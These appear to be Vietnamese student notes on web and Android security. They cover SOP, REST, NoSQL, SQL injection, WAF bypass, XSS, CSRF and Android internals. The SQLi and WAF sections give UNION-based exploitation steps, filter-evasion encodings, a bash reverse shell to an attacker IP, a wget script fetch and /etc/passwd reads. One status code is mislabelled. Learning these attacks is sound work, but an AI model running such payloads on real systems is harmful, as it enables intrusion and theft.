OWASP BWA (Broken Web Applications) là một dự án của OWASP cung cấp một môi trường ảo chứa nhiều ứng dụng web cố tình bị lỗi bảo mật. Mục tiêu của OWASP BWA là giúp các chuyên gia bảo mật, nhà phát triển phần mềm và sinh viên thực hành và cải thiện kỹ năng kiểm thử bảo mật ứng dụng web trong một môi trường an toàn và có kiểm soát.

OWASP Mantra là một bộ công cụ mã nguồn mở dành cho các chuyên gia bảo mật, đặc biệt là trong lĩnh vực kiểm thử xâm nhập (penetration testing) và bảo mật ứng dụng web được xây dựng trên trình duyệt Mozilla Firefox

HTML DOM (Document Object Model) là một tiêu chuẩn lập trình định nghĩa cách thức truy cập và thao tác cấu trúc tài liệu HTML. Các thành phần của HTML DOM:

 **Document**: Đối tượng gốc đại diện cho toàn bộ tài liệu.

 **Elements**: Các phần tử HTML như <div>, <p>, <a>, v.v.

 **Nodes**: Các điểm trong cây DOM, bao gồm các phần tử, văn bản, và các thuộc tính.

 **Attributes**: Các thuộc tính của phần tử HTML, chẳng hạn như id, class, src, v.v.

 **Events**: Các sự kiện như onclick, onload, v.v., mà lập trình viên có thể sử dụng để tạo các tương tác động.

A computer screen shot of a chart

Description automatically generated

Đối tượng window.location chứa thông tin về URL hiện tại của tài liệu và cung cấp các phương thức để thay đổi URL hoặc tải lại trang. Method: assign: Điều hướng URL mới, reload, replace: Thay thể URL

Đối tượng window.history cung cấp các phương thức để thao tác với lịch sử duyệt web của người dùng (lịch sử trang đã truy cập). Method: back, forward, go(n)

Đối tượng window.navigator chứa thông tin về trình duyệt web và hệ thống của người dùng. Method: appName, appVersion, userAgent, laguage

Thông tin session được truyền bằng :

HTTP Headers, Ip của client, đăng nhập của người dùng, FAT URLs, Cookies

Same Origin Policy (SOP): Là cơ chế bảo mật quan trọng của trình duyệt, hạn chế document hoặc script được tải từ 1 nguồn khác có thể tương tác với tài nguyên từ nguồn hiện tại. Được đánh giá là Same Origin khi có Scheme (http, https, …), Host ([www.example.com](http://www.example.com)) và port giống nhau. Ngăn chặn các cuộc tấn công XSS và CSRF

Cách bypass SOP: thay đổi domain, sử dụng CORS tích hợp trong HTML5. Thiết lập nguồn có thể truy cập bằng “Access-Control-Allow-Origin” và những tiêu đề HTTP bằng “Access-Control-Allow-Headers”

RESTful API là một chuẩn thiết kế phần mềm web service, nó quy định cách mà client và server sẽ tương tác với nhau. Nó đáp ứng những yếu tố sau:

- Self-documenting (nhìn vào API ta có thể đoán ra được nó dùng để làm gì)

- Flexible (tính mở rộng cũng như tuỳ biến của API)

- Unified structure and attribute names (thống nhất về mặt cấu trúc cho resource cũng như cách đặt tên cho các attribute)

- Clear error message (khi hệ thống xảy ra lỗi thì message phải rõ ràng và chi tiết để phục vụ cho quá trình fix bug)

HTTP code:

+ 304: Not modified: Client có thể sử dụng cache data

+ 304: Bad Request:The request was invalid or cannot be served.

+ 401: Unauthorized: Yêu cầu người dùng thực hiện xác thực

+ 403: Forbidden : Server hiểu request, nhưng không cho phép truy cập do chưa được cấp quyền.

. + 404: Not found: Không có nội dung trong URL đang truy cập

+ 422: Unprocessable Entity: không thể xử lý các thực thể, hình ảnh hoặc những field bắt buộc đang bị thiếu

+ 500: Internal Server Error

NoSQL là 1 hệ quản trị CSDL được thiết kế để để lưu trữ và truy vấn dữ liệu khác so với các hệ thống CSDL thông thường, gồm các loại như sau:

+ Document Store: Lưu trữ dưới dạng document (JSON, BSON, XML). MongoDB, CouchDB, RavenDB, TerraStone, OrientDB

+ Graph Database: dữ liệu được lưu dưới dạng các node, mỗi node sẽ có 1 số đặc điểm như 1 row trong SQL, các node được kết nối với nhau bằng relationship. VD: Neo4j, InfiniteGraph, OrientDB, HYPERGRAPHDB

+ Key-value Database: dựa vào key để truy vấn value, truy vấn nhanh nên thường được làm cache, lưu session, user profiles . VD: Riak, **Redis**, **Memcache**, Project Voldemort, CouchBase

+ Column-Family Database: dữ liệu được lưu dưới dạng các cột, ứng dụng trong CMD, e-commerce. VD: Cassandra (FB), HyperTable, Apache Hbase

SQLi:

- In-band SQLi: sử dụng cùng một kênh giao tiếp để thực hiện tấn công và nhận về kết quả

+ Tautology: 1 = 1 (--, /\*, #,%00, %16)

+ PiggyBacked: thực hiện nhiều câu truy vấn tách biệt nhau bằng dấu ;

+ Union SQLi: Dùng UNION để truy vấn nhiều thông tin hơn

Các bước khai thác:

1. Dùng kí tự ’ để kiểm tra xem có lỗ hổng không

2. Dùng ORDER BY n cho đến khi có lỗi xảy ra -> Có n-1 cột

3. Dùng UNION SELECT 1,2,3,..,n, quan sát giá trị cột nào được hiển thị

4. Lấy thông tin của DB bằng hàm version(), database()

5. Lấy danh sách các bảng

VD: A screenshot of a computer

Description automatically generated

6. Chọn table và khai thác

A screenshot of a computer

Description automatically generated

Biện pháp ngăn chặn:

+Giới hạn quyền kết nối đến CSDL

+ Sử dụng Prepared statement

+ Kiểm tra dữ liệu được truyền vào có phải là kiểu dữ liệu mong đợi

+ Escape dữ liệu truyền vào nếu không hỗ trợ Prepared Statement

+ Không cho in ra màn hình bất kì thông tin cụ thể nào về CSDL, đặc biệt là lỗi

+ Log lại các câu query à hữu dụng khi điều tra

+ Ở PHP có thể sử dụng PDO thay thế cho MySQLi

Trong PHP, sử dụng filter\_var($str, FILTER\_SANITIZE\_STRING) để validate và sanitize data

Web Application Firewall

Ba mô hình bảo mật:

• Mô hình Positive Security: từ chối tất cả ngoại trừ dữ liệu tốt

• Mô hình Negative Security : cho phép tấ cả ngoại trừ dữ liệu xấu

• Mô hình Hybrid Security: kết hợp 2 cái trên

WAF phổ biến: F5 Big IP, Citrix ADC, Modsecurity, Imperva Incapsula, PHP-IDS (PHP Intrusion Detection System), Quick Defense, AQTRONIX WebKnight, Barracuda WAF

Nhận biết có WAF nhờ vào ký tự đầu của cookie: TSxx của F5, ns\_af của Citrix, hoặc status code khi gửi request độc hại lên web: 403, 406, 419, 500, 501

Các kỹ thuật bypass WAF: Null character injection, Inline comment,Chunked Request, Buffer Overflow, HTTP Parameter Pollution, URL encoding, Keywork Splitting, Replaced keyworks, Ignoring cookie, Using Data URIs, Header Injection

Bypass UNION SELECT: xài DISTINCT hoặc DISTINCTROW

Inline comment: /\*comment\*/: bypass khoảng trắng, filter. VD: UN/\*\*/ION/\*\*/SELECT

Ở MySQL, sử dụng /\*!comment\*/ có thể execute phần comment

URL encode:

+ ‘ : %27

+ , : %2C -> %252C

+ #: %23

+ -: %2D

+ U: %55

+ S: %53

+ ;: %3B -> %253B

+ &: %26 -> %2526

+ |: %7C -> %25%7C

Bypass Command Injection:

+ bash -i >& /dev/tcp/127.0.0.1/8080 0>&1 (Thay 127.0.0.1 thành IP của attacker)

+ wget [http://127.0.0.1:8080/x.sh -O /tmp/y.sh](http://127.0.0.1:8080/x.sh%20-O%20/tmp/y.sh)

Bypass khoảng trắng: ${IFS}, cat</etc/passwd

Sử dụng hex encoding: cat $(xxd -r -p <<< 2f6574632f706173737764)

Bypass slash (/): Sử dụng ${HOME:0:1} hoặc $(echo . | tr '!-0' '"-1')

XSS được chia thành 3 dạng:

- Stored (hoặc persistent): Attacker tiêm script độc hại vào CSDL, khi có yêu cầu từ nạn nhân đến thì server gửi đoạn script đó

- Reflected (hoặc Non-persistent)

- DOM- based XSS

Hậu quả: Cookie, Session Token, Keylog, XSS Worm, botnet cho việc DDOS

Biện pháp ngăn chặn: Encoding, Validation, Sanititze, Content Security Policy (CSP)

CSRF: Tấn công giả mạo chứng thực của người dùng để thực hiện các hành động mà kẻ tấn công mong muốn

Mục tiêu: Nếu là user, buộc người dùng thay đổi trạng thái như chuyển tiền, thay đổi email. Nếu là quản trị, CSRF có thể xâm phạm toàn bộ ứng dụng web

Cách tấn công: Yêu cầu là nạn nhân đã xác thực (đăng nhập tài khoản) trang web mà attacker muốn tấn công, hacker sẽ dụ người dùng click vào trang web hoặc URL độc, sau đó 1 request được gửi đến web mục tiêu

- Dùng thẻ <img>, <iframe>

- Form ẩn, link chứa trong thẻ <a>

- Dùng JS gửi XMLHTTPRequest (PUT, DELETE)

Biện pháp ngăn chặn:

- CSRF Token: CodeIgniter, ASP.NET MVC, Laravel, Joomla đều hỗ trợ

- SOP, tạo X-Csrf-Token và tắt httpOnly flag và CORS

- Kiểm tra giá trị Referer và Origin

- Sử dụng extension: RequestPolicy, uMatrix, Noscript

- Ở phía người dùng: Re-Authentication, One-time Token, CAPTCHA

Android: được xây dựng trên linux kernel

Gồm 3 tần cơ bản như sau:

Tầng Hiển thị: giao diện người dùng UI

Tầng Xử lý: luồng hoạt động, các thành phần, thực thể xử lý logic dữ liệu

Tầng dữ liệu: dữ liệu, truy cập dữ liệu

- 3 loại: native app, hybrid app và web app (thông qua web browser)

Các yếu tố cần xem xét khi phát triển Android:

+ Xác định kiểu thiết bị mà ứng dụng sẽ chạy:

• Độ phân giải màn hình

• Kích thước màn hình

• Tính năng CPU

• Không gian lưu trữ

• Bộ nhớ

• Tính sẵn sàng của các framework phát triển

• Bandwidth situation (băng thông/ điện năng tiêu thụ)

• Chọn giao thức phù hợp trên từng loại thiết bị

• Caching, state management, data access

Thành phần trong android:

A screenshot of a computer program

Description automatically generated

Library chạy ngầm và được viết bằng C/C++. Có 4 loại:

- Bionic Libc, system C libraries

• Function Libraries, supporting multimedia, web browser, SQLite...

• Native Servers

• Hardware Abstraction Libraries

Android Runtime:

Dalvik VM: Register-based thay vì stack-based của JVM, tăng tốc độ xử lý, chỉ hỗ trợ cho app viết bằng java. Ứng dụng sẽ được biên dịch thành byte code java (.class, .jar) sau đó chuyển sang .dex. Mỗi ứng dụng Android chạy trong một instance riêng của Dalvik VM.

**Android Framework**

Activity Manager: quản lý vòng đời của các ứng dụng và cung cấp các điều hướng   
• Notification Manager: cho phép các ứng dụng hiển thị các thông báo trên khung trạng thái

• Resource Manager: cung cấp khả năng truy cập vào các tài nguyên không phải mã nguồn như chuỗi, hình ảnh, các file layout…

• Content Providers: truy cập đến dữ liệu của các ứng dụng khác hoặc chia sẻ dữ liệu của chính ứng dụng

• Views: dùng để xây dựng ứng dụng, gồm danh sách, các khung nhập liệu, nút, hoặc thậm chí trình duyệt nhúng

Thành phần trong Android Studio

- res/layout , chứa các định nghĩa thiết kế bố cục trong định dạng XML, giao diện của ứng dụng được built dựa trên các file layout

- res/values, chứa các định nghĩa chuỗi hoặc các giá trị khác (ví dụ: màu sắc) trong ứng dụng

- res/drawable, chứa các resources hình ảnh, 3 thư mục: drawable-ldpi, drawable-hdpi, drawable mdpi, mỗi thư mục chứa file icon.png, Ứng dụng sẽ chọn file icon phù hợp dựa trên DPI của thiết bị

File mô tả Manifest này cần theo cấu trúc sau:

• Chứa tên package dùng cho ứng dụng (tên package là duy nhất nhằm xác định đến package).

• Mô tả các thành phần của ứng dụng: các Activity, Service, Broadcast Receiver, Content Provider.

• Xác định các tiến trình chạy trong ứng dụng.

• Khai báo các quyền truy cập hệ thống.

2 loại intent: Explicit: biết rõ thành phần sẽ chạy, implicit: định nghĩa action cần chạy, Android sẽ tìm thành phần thỏa mãn trong file Manifest bằng intent-filters. Nếu nhiều hơn 1 kết quả, hệ thống sẽ hỏi người dùng

Vòng đời Activity: onCreate -> onStart -> onResume -> onPause -> onStop (-> onRestart) -> onDestroy

Proguard:

Tính năng:

• Thu gọn mã nguồn ứng à đểdễphân phối

• Làm rối à để chống dịch ngược, vì tên các hàm, biến ... bị đổi tên khó đọc

• Tối ưu để ứng dụng chạy nhanh hơn

Dùng thuộc tính shrinkResourses true để thu gọn code, useProguard true để làm rối code

Thông tin UID được lưu trong android\_filesystem\_config.h, UID 0 == root, UID bắt đầu từ 1000 là dịch vụ hệ thống (AID\_SYSTEM) và UID bắt đầu từ 10000 là ứng dụng (AID\_APP)

Dữ liệu của ứng dụng được lưu ở data/data

UID của ứng dụng được quản lý trong tập tin:

• /data/system/packages.xml

• /data/system/packages.list

Để sử dụng cùng UID, các ứng dụng cần được ký bởi cùng code signing key

Binder: phiên bản IPC mới được phát triển cho Android, dựa trên OpenBinder, Binder object có thể hoạt động như token bảo mật à hỗ trợ cơ chế capability-based security model của Android.

Binder đảm bảo UID và PID của các tiến trình (caller) không thể bị giả mạo à nhiều dịch vụ hệ thống dùng binder để kiểm soát ứng dụng gọi tới API nhạy cảm thông qua IPC

Sự cần thiết phải truy cập đến tất cả các phần cứng trên thiết bị khi cập nhật hệ thống: firmware, bootloader,… -> Android đưa ra một minimal OS với các đặc quyền truy cập tới tất cả các phần cứng của thiết bị, gọi là recovery OS. • Trên các thiết bị Android được sản xuất, recovery chỉ chấp nhận các cập nhật được ký bởi nhà SX thiết bị.

Package manager các package đã cài (pre-installed và user-installed) với các thông tin: • Đường dẫn cài đặt • Phiên bản, Chứng chỉ ký • Danh sách các quyền hạn của từng package • Danh sách tất cả các quyền hạn được định nghĩa trên thiết b

Package manager được lưu trữ trong file /data/system/packages.xml